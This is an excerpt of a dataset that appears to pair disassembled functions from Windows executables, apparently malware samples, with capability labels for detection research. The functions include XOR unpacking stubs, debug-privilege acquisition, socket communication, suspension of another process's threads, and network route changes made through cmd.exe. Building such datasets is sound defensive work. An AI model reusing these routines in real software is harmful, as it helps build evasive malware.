joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404010
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.00401e10
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x404046
jmp 0x40407e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404043
cmp al, 9
je 0x404043
cmp al, 0x22
jne 0x404067
jmp 0x4040c6
cmp al, 9
je 0x404073
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x404060
jmp 0x404073
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404070
cmp al, 9
je 0x404070
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40408d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401797
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x4040d2
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x4040c2
cmp al, 0x22
jne 0x404073
lea ebx, [edx + 2]
jmp 0x404073
Function at 0x40644e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40645d
pop dword [ebp - 0x38]
mov eax, 0x8fd1c886
add eax, 0x706e9bd7
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x20b968
sub dword [ebp - 0x48], 0xb1ce741d
mov dword [ebp - 0x44], 0x24f876cb
add dword [ebp - 0x44], 0xd3ad57a
mov dword [ebp - 0x40], 0x883545e9
add dword [ebp - 0x40], 0xc416fe45
mov dword [ebp - 0x3c], 0xe748396d
add dword [ebp - 0x3c], 0x18b7c693
lea eax, [ebp - 0x48]
push eax
mov eax, 0xdfe0b5ac
add eax, 0x205fcacc
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xb17afd25
sub dword [ebp - 0x48], 0x3d0893cf
mov dword [ebp - 0x44], 0x142a71fb
sub dword [ebp - 0x44], 0xd2be1086
mov dword [ebp - 0x40], 0xf450c387
add dword [ebp - 0x40], 0x6f1ea8e5
mov dword [ebp - 0x3c], 0x4a21dbd3
add dword [ebp - 0x3c], 0xb5de242d
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x47f8c1d
add eax, 0xfbc0f45f
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x35e43
push 0
call eax
mov ecx, 0xb0e0c9d4
sub ecx, 0xb0e08679
xor esi, esi
add esi, eax
mov edi, 0x451400
add edi, dword [ebp - 0x38]
mov ebx, 0xe7a673c4
add ebx, 0xa212e356
xor dword [ebp - 0xc], edx
mov edx, dword [edi]
sub dword [ebp - 0x18], 0x743e6bed
xor edx, ebx
xor dword [ebp - 0x2c], esi
mov dword [esi], edx
xor dword [ebp - 0x34], 0x2a3861e5
add esi, 4
add edi, 4
loop 0x40657b
add eax, 0x8b9c6dae
sub eax, 0x8b9b6d6f
mov ebx, eax
add eax, 5
mov ecx, 0x40a09abd
add ecx, 0xbf9f6543
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x4068f3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x40692a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406904
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x4068ff
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40695b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x40693d
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x6ae1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.006ae140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.006ae140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.006ae140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.006ae140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x6aebfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6aec50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x6c087c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6aec43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x6aec52
xor eax, eax
pop esi
leave
ret 4

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x678d2ee9
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x36e2b29
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x100022a0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x278
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x274], eax
push ebx
push ebp
mov ebp, dword [esp + 0x284]
push esi
push edi
push 0x100
xor ebx, ebx
lea eax, [esp + 0x128]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x100
lea ecx, [esp + 0x20]
push ebx
push ecx
mov dword [esp + 0x24], ebx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x130], ebp
mov dword [esp + 0x12c], 1
call sub.MSVCR90.dll_memset
mov eax, dword [0x1000a178]
add esp, 0xc
push eax
lea ecx, [esp + 0x22c]
push 0x100081d0
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002341
sub eax, esi
push eax
lea edx, [esp + 0x22c]
push edx
mov esi, ebp
call fcn.10003640
add esp, 8
lea eax, [esp + 0x10]
push eax
push ebx
mov ecx, 0x41
lea esi, [esp + 0x128]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
push ebx
lea ecx, [esp + 0x24]
push ecx
push ebx
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10002485
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea eax, [esp + 0x230]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
mov byte [esp + eax + 0x234], bl
call sub.MSVCR90.dll_memset
mov edx, dword [0x1000b64c]
add esp, 0xc
push edx
lea eax, [esp + 0x22c]
push 0x100081d0
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002400
sub eax, esi
push eax
lea ecx, [esp + 0x22c]
push ecx
mov esi, ebp
call fcn.10003640
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
mov ecx, 0x41
lea esi, [esp + 0x130]
lea edi, [esp + 0x28]
push ebx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10002485
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea edx, [esp + 0x230]
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov eax, 1
jmp 0x10002487
xor eax, eax
mov ecx, dword [esp + 0x284]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10006be0
add esp, 0x278
ret
Function at 0x10003250
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x278
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x274], eax
push ebx
push ebp
mov ebp, dword [esp + 0x284]
push esi
push edi
push 0x100
xor ebx, ebx
lea eax, [esp + 0x128]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x100
lea ecx, [esp + 0x20]
push ebx
push ecx
mov dword [esp + 0x24], ebx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x130], ebp
mov dword [esp + 0x12c], 1
call sub.MSVCR90.dll_memset
mov eax, dword [0x1000b67c]
add esp, 0xc
push eax
lea ecx, [esp + 0x22c]
push 0x100081d0
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100032f1
sub eax, esi
push eax
lea edx, [esp + 0x22c]
push edx
mov esi, ebp
call fcn.10003640
add esp, 8
lea eax, [esp + 0x10]
push eax
push ebx
mov ecx, 0x41
lea esi, [esp + 0x128]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
push ebx
lea ecx, [esp + 0x24]
push ecx
push ebx
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10003435
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea eax, [esp + 0x230]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
mov byte [esp + eax + 0x234], bl
call sub.MSVCR90.dll_memset
mov edx, dword [0x1000cb50]
add esp, 0xc
push edx
lea eax, [esp + 0x22c]
push 0x100081d0
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100033b0
sub eax, esi
push eax
lea ecx, [esp + 0x22c]
push ecx
mov esi, ebp
call fcn.10003640
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
mov ecx, 0x41
lea esi, [esp + 0x130]
lea edi, [esp + 0x28]
push ebx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10003435
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea edx, [esp + 0x230]
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov eax, 1
jmp 0x10003437
xor eax, eax
mov ecx, dword [esp + 0x284]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10006be0
add esp, 0x278
ret
Function at 0x10003640
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x30
push ebx
push ebp
push edi
mov ebp, 1
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [esp + 0x40]
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
mov edi, eax
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
push 0
lea edx, [esp + 0x28]
push edx
push 0
lea eax, [esp + 0x18]
push eax
push 1
lea ecx, [esp + 0x28]
push ecx
push esi
call ebx
cmp eax, 0xffffffff
jne 0x100036b1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x10003700
push 0
push 0xffffffffffffffff
push 0
lea edx, [esp + 0x28]
push edx
push 1
call dword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0xffffffff
je 0x10003700
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_WSAResetEvent]
lea ecx, [esp + 0x10]
push ecx
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x10003700
mov eax, dword [esp + 0xc]
sub dword [esp + 0x14], eax
je 0x10003702
add dword [esp + 0x18], eax
jmp 0x10003687
xor ebp, ebp
push edi
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
pop edi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x100044b0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x278
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x274], eax
push ebx
push ebp
mov ebp, dword [esp + 0x284]
push esi
push edi
push 0x100
xor ebx, ebx
lea eax, [esp + 0x128]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x100
lea ecx, [esp + 0x20]
push ebx
push ecx
mov dword [esp + 0x24], ebx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x130], ebp
mov dword [esp + 0x12c], 1
call sub.MSVCR90.dll_memset
mov eax, dword [0x1000cb80]
add esp, 0xc
push eax
lea ecx, [esp + 0x22c]
push 0x100081d0
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004551
sub eax, esi
push eax
lea edx, [esp + 0x22c]
push edx
mov esi, ebp
call fcn.10003640
add esp, 8
lea eax, [esp + 0x10]
push eax
push ebx
mov ecx, 0x41
lea esi, [esp + 0x128]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
push ebx
lea ecx, [esp + 0x24]
push ecx
push ebx
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10004695
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea eax, [esp + 0x230]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
mov byte [esp + eax + 0x234], bl
call sub.MSVCR90.dll_memset
mov edx, dword [0x1000e054]
add esp, 0xc
push edx
lea eax, [esp + 0x22c]
push 0x100081d0
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004610
sub eax, esi
push eax
lea ecx, [esp + 0x22c]
push ecx
mov esi, ebp
call fcn.10003640
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
mov ecx, 0x41
lea esi, [esp + 0x130]
lea edi, [esp + 0x28]
push ebx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10004695
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea edx, [esp + 0x230]
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov eax, 1
jmp 0x10004697
xor eax, eax
mov ecx, dword [esp + 0x284]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10006be0
add esp, 0x278
ret
Function at 0x10005470
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x278
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x274], eax
push ebx
push ebp
mov ebp, dword [esp + 0x284]
push esi
push edi
push 0x100
xor ebx, ebx
lea eax, [esp + 0x128]
push ebx
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x100
lea ecx, [esp + 0x20]
push ebx
push ecx
mov dword [esp + 0x24], ebx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x130], ebp
mov dword [esp + 0x12c], 1
call sub.MSVCR90.dll_memset
mov eax, dword [0x1000e084]
add esp, 0xc
push eax
lea ecx, [esp + 0x22c]
push 0x100081d0
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10005511
sub eax, esi
push eax
lea edx, [esp + 0x22c]
push edx
mov esi, ebp
call fcn.10003640
add esp, 8
lea eax, [esp + 0x10]
push eax
push ebx
mov ecx, 0x41
lea esi, [esp + 0x128]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
push ebx
lea ecx, [esp + 0x24]
push ecx
push ebx
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10005655
push 0x51
lea edx, [esp + 0x22c]
push ebx
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea eax, [esp + 0x230]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
mov byte [esp + eax + 0x234], bl
call sub.MSVCR90.dll_memset
mov edx, dword [0x1000f558]
add esp, 0xc
push edx
lea eax, [esp + 0x22c]
push 0x100081d0
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
lea eax, [esp + 0x234]
add esp, 0xc
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100055d0
sub eax, esi
push eax
lea ecx, [esp + 0x22c]
push ecx
mov esi, ebp
call fcn.10003640
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x10]
push edx
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
mov ecx, 0x41
lea esi, [esp + 0x130]
lea edi, [esp + 0x28]
push ebx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10005655
push 0x51
lea ecx, [esp + 0x22c]
push ebx
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push ebx
push 0x51
lea edx, [esp + 0x230]
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov eax, 1
jmp 0x10005657
xor eax, eax
mov ecx, dword [esp + 0x284]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10006be0
add esp, 0x278
ret
Function at 0x10005860
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push edi
xor ebx, ebx
push ebx
push 0xf
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100058a0
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x100058c8
mov al, byte [esp + ecx + 0x2c]
cmp al, 0x41
jl 0x100058c3
cmp al, 0x5f
jg 0x100058c3
add al, 0x20
mov byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, edx
jl 0x100058b1
mov ecx, esi
lea eax, [esp + 0x2c]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100058f0
test dl, dl
je 0x100058ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100058f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100058d0
xor eax, eax
jmp 0x100058f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000590a
lea ecx, [esp + 8]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10005895
jmp 0x10005919
mov edx, dword [esp + 0x10]
mov dword [0x10010218], edx
mov ebx, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
pop edi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.10006be0
add esp, 0x134
ret
Function at 0x10005af0
Capabilities:
Enumerate threads
Print debug messages
Suspend thread

Disassembly:
sub esp, 0x12c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x128], eax
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
call fcn.100059d0
mov esi, 0x1000823c
call fcn.10005860
test eax, eax
jne 0x10005b43
mov esi, 0x10008248
call fcn.10005860
test eax, eax
jne 0x10005b43
mov esi, str.gostop.exe
call fcn.10005860
test eax, eax
je 0x10005c4f
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10005c40
mov ebx, dword [sym.imp.MSVCR90.dll_sprintf]
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [esp + 0x20]
push edx
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005c19
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
cmp eax, 0xf
je 0x10005ba5
cmp eax, 0xfffffff1
jne 0x10005c19
push esi
call fcn.10005940
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov edi, eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x1c]
push ecx
push edx
push eax
push edi
lea ecx, [esp + 0x48]
push str._xsize:_d_tid:_d_pid:_d_base:_ld_delta:_ld_n
push ecx
call ebx
mov eax, dword [0x10010218]
mov ecx, dword [esp + 0x40]
add esp, 0x1c
cmp eax, ecx
jne 0x10005c19
lea edx, [edi - 0x100001]
cmp edx, 0x3feffffe
ja 0x10005c19
push ecx
push eax
push edi
lea eax, [esp + 0x40]
push str.stop:_x_d:_d_n
push eax
call ebx
add esp, 0x14
lea ecx, [esp + 0x34]
push ecx
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10005c39
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
push eax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10005b77
jmp 0x10005c40
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x138]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10006be0
add esp, 0x12c
ret
Function at 0x10005c70
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x108
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x104], eax
push ebx
push ebp
push edi
push 0x104
lea eax, [esp + 0x10]
push 0
push eax
call sub.MSVCR90.dll_memset
mov edi, dword [sym.imp.MSVCR90.dll_sprintf]
push esi
lea ecx, [esp + 0x1c]
push str._c_route_delete__s
push ecx
call edi
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 0x18
push 0
push 0
lea edx, [esp + 0x14]
push edx
push str.cmd.exe
push 0
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebp
push str.mask_255.255.255.255_0.0.0.0
push esi
lea eax, [esp + 0x14]
push str._c_route_add__s__s
push eax
call edi
add esp, 0x10
push 0
push 0
lea ecx, [esp + 0x14]
push ecx
push str.cmd.exe
push 0
push 0
call ebx
push 0x7d0
call ebp
mov ecx, dword [0x1001021c]
shl ecx, 4
pop edi
lea ecx, [ecx + 0x1000f588]
pop ebp
mov eax, esi
sub ecx, esi
pop ebx
jmp 0x10005d20
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
test dl, dl
jne 0x10005d20
mov ecx, dword [esp + 0x104]
inc dword [0x1001021c]
xor ecx, esp
call fcn.10006be0
add esp, 0x108
ret